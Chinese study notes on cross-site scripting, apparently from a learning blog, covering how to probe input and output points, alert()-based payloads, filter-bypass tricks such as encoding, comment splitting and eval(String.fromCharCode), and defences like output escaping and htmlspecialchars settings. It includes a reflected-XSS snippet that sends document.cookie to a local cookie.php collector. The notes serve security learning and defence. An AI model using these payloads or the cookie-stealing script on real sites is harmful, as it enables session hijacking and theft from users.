• 《XSS跨站脚本攻击剖析与防御》


    xss-lab体会

    探测xss漏洞

    • 先输入测试唯一的字符,确认输入、输出点
    • 可能的输入点
      • 任何可以输入字符的地方
      • http头
      • cookie

    利用

    • 语句包含在

      <script> ... </script>
      
    • 事件弹窗

      • <input name="keyword" value="" onclick="alert(123)">
        
      • 常用的事件函数,比如onchange, onclick, oninput

      • 除了利用alert,还有confirm以及prompt

    • 语句包含在<a>标签中,如

      <a href="javascript:alert('123')">点击触发</a> 
      
    • <img src=1 onerror="alert(123)">
      

    绕过、过滤

    • 大小写

      • 当程序没有用类似strtolower()函数,将字符统一转为大、小写字符时,可绕过
    • 双写绕过

    • 编码绕过:先HTML字符实体转为16进制,再进行URL编码。(适用于:字符实体类)

    • 遇到将关键字替换为空格的情况

      • 使用 的十六进制%0d%0a
    • 如:

      ```html
      <img%0dsrc=1%0donerror="alert(123)">
      ```
      
      • 注:不换行空格 &nbsp; 不允许换行
    • 遇到必须带某关键字的,可以在注释中添加关键字,也可以直接在事件中添加

      • 如:

        javascript:alert(1)/*http://*/
        
      • 如:

        javascript:alert("http://")
        
    • 前端限制绕过,直接抓包重放,或直接修改HTML

    • 使用注释进行干扰

      <scri<!--test-->pt>....</sc<!--test-->ript>
      
    • 编码

      • 后台过滤了特殊字符,比如<script>标签,但是该标签可以被各种编码,后台不一定会过滤,当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行
      • 注意:HTML实体编码与URL编码不一样
    • 关于htmlspecialchars()函数

      • 功能:把预定义字符转换为HTML实体
      • 可能存在单引号绕过,因为默认编码双引号,不编码单引号。(单引号不属于HTML中规范的实体编码)
      • ENT_COMPAT 默认,仅编码双引号
      • ENT_QUOTES编码双引号和单引号
      • ENT_NOQUOTES不编码任何引号

    反射型xss-获取用户cookie

    get型

    • 方法:

      • 构造含有代码的url,然后发送给用户,即可触发

      • 直接在输入点输入代码

      • 如:在输入点写入内容

        <script>
        document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
        </script>
        #在127.0.0.1搭建一个接收cookie的平台,使用document.cookie获取cookie后,即可传输到接收平台
        

    post型

    存储型xss钓鱼攻击

    存储型xss键盘记录

    xss盲打

    • 输出点不直接在前端,只有后台管理员才可见
    • 相当于存储型

    xss防御

    • 输入做过滤,输出做转义
      • 过滤
        • 限制输入格式,比如要求输入手机号,则只能输入数字
      • 转义
        • 所有输出到前端的数据都根据输出点进行转义,比如输出到HTML中进行HTML实体转义,输入到JJS里面的进行js转义
      • 防御href输出点
        • 如:<a href='.....'></a> 防止发生xss。可以限制href的格式,只能以http、https开头,然后再进行htmlspecialchars()过滤
      • 防御JS输出点
        • 防止构造闭合</script>。因为JavaScript不会对tag和字符实体进行解释,所以需要进行js转义,但是转义后JS无法识别里面的内容,会影响前端的,所以最好的方法是使用反斜杠对特殊字符进行转义

    xss初探

    注意

    • 充分利用浏览器特性

    产生原因

    • 代码逻辑
    • 浏览器特性
    • 解析差异
    • 服务器端语言的特性
    • 浏览器编码

    原理

    向HTML代码中注入脚本

    概念

    • 输入点

      • 这个提交你的攻击代码的地方就叫做输入点
    • 输出点

      • 显示你具有攻击性代码的那个位置就叫做输出点。
    • 跨域

      • 当协议、子域名、主域名、端口,中的任意一个不相同时,称为不同域,不同域之间请求数据的操作,称为跨域

      • 同源策略

        • (浏览器的一种约定),规定,两个不同域间不能使用JS进行互相操作。比如:x.com域名下的JavaScript不能操作y.com域下的对象

        • 要进行跨域操作,需要管理员进行特殊配置,如:通过header(“Access-Control-Allow-Origin:x.com”)指定跨域源地址

        • 以下标签可以跨域加载资源,不受同源策略影响

          • <script src="..."></script>js加载到本地执行
            
          • <img src="..."> 加载图片
            
          • <link href="...">加载css
            
          • <iframe src="...">加载任意资源
            

    类型

    反射型

    • 诱使用户访问一个包含恶意执行代码的URL
    • 可以将代码进行编码处理,迷惑用户,如:十进制、十六进制、ESCAPE等编码
    • 只执行一次,非持久化
    • get型
    • post型

    存储型

    • 将具有攻击性的代码(又叫playload)持久化的存储在目标业务中的某个地方(比如说数据库, 缓存等),在另一个地方又会把这个攻击代码显示到页面上,显示的时候浏览器会将它当作合法的script脚本执行,便开始执行了具有攻击性的JavaScript脚本。
    • 不需要用户单击URL进行触发,所以可以利用其进行挂马、钓鱼

    DOM型

    • 注意

    反射型、存储型xss,都是在前端提交数据,然后经过后端处理,再传到前端。DOM型是纯前端操作,不传到后端

    危害

    • 网络钓鱼
    • 窃取用户cookie
    • 劫持用户
    • 强制弹出广告,刷流量
    • 网页挂马
    • 进行恶意操作,篡改页面信息
    • 进行大量的客户端攻击,如DDoS攻击
    • 获取用户信息,如浏览历史,真实ip,开放端口
    • 控制机器,当跳板
    • 结合其他漏洞,如CSRF
    • 传播蠕虫

    xss简单发掘

    • 方法
      • 黑盒测试
        • 对于xss而言,黑盒效果比白盒好
      • 白盒测试
      • 灰盒测试
    • 反射型
      • 输入框、URL参数、来自cookie、post表单、HTTP头的内容都可能产生xss
    • 存储型

    xss Cheat Sheet(xss攻击脚本列表)

    xss构造剖析

    xss-Filter跨站脚本过滤器

    • 绕过

      • 利用<>标记注射HTML/JavaScript

      • 利用HTML标签属性值执行xss

        • 利用很多HTML中的属性支持 javascript:[code]伪协议的形式,通常只有引用文件的属性才能触发跨站脚本
        如:<img src="javascript:alert(123);">
        
        • 相关属性
          • href=
          • lowsrc=
          • bgsound=
          • background=
          • value=
          • action=
          • dynsrc=
      • 空格、回车、Tab键

        • 如果仅仅把字符做了过滤,则可以使用空格、回车tab键绕过
        • 注:除了在引号中分隔单词或强制结束语句外,若语句不完整,额外的空白无论以何种方式添加都无所谓
      • 对标签属性值转码

        • HTML中属性值本身支持ASCII码形式,支持十进制、十六进制,格式:&#+ASCII码&#+ASCII码;

        • 常见的

          • tab键 &#9
          • 换行符 &#10
          • 回车键 &#13
        • 也可以把&#01;&#02;插入到JavaScript或Vbscript的头部,如

          <img src="&#01;javascript:alert(123)">
          
        • &#09;等字符可以插入到任何位置

      • 产生自己的事件

        • 事件的分类
          • 用户接口(鼠标键盘)
          • 逻辑(处理的结果)
          • 变化(对文档修改)
        • 常用事件
          *
      • 利用css跨站

        • 子主题 1
      • 扰乱过滤规则

    • 利用字符编码

      • javascript中的eval()函数,可计算字符串并执行其中的代码

        • 可使用反斜杠连接十六进制字符串,然后用eval()函数执行,如

          <script>eval("..................");</script>
          
        • 也可用十进制字符串来执行,但需要String.fromCharCode()函数先把ASCII值转为字符串,如

          <img src="javascript:eval(String.fromCharCode(97,108,101,...,...,....,))">
          
      • css中也支持使用反斜杠连接十六进制的字符串

      • 微软的script加密技术,只能在IE上运行

    • 拆分跨站法

      • 条件:
        • 程序没有对关键字过滤,但限制了字符长度
        • 分批次将代码传入

    shellcode的调用

    • 远程调用

      • 调用服务器上的js文件
      • 基于DOM的方法创建和插入节点
    • window.location.hash

      • 条件

        • 要能上传文件到指定服务器
      • 利用window.location.hash属性

        • 目的:解决URL长度问题

        • location.hash用来设置页面的标签值

          • http://www.test.com#admin,其location.hash为#admin
        • 如:

          http://www.test.com?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')
          
    • xss Downloader

      • 原理
        • 先把代码存到数据库中,再利用XMLHTTP控件向网站发送一个HTTP请求,然后执行返回的数据
    • 备选存储技术

      • 原理
        • 把代码存到客户端本地域中,如HTTPcookie、UserData、localStorage等
        • 存储到cookie的缺点,cookie被限制在4KB内
        • UserData是微软在IE上开的一块存储空间,大小有640KB
        • localStorage

    xss利用方式剖析

    发掘xss漏洞

    xss Worm剖析

    深入xss原理

    防御xss攻击

  • 相关阅读:
    作为管理者的基本职责
    websocket接口自动化的封装
    locust性能测试的使用
    git的协作提交流程
    关于接口自动化的实施步骤
    K8S的组件梳理
    jenkins pipeline中,失败后获取异常不中断业务
    pipline在执行的docker镜像中添加hosts
    sonar搭建
    django
  • 原文地址:https://www.cnblogs.com/hacker-snail/p/14093211.html
Copyright © 2020-2023  润新知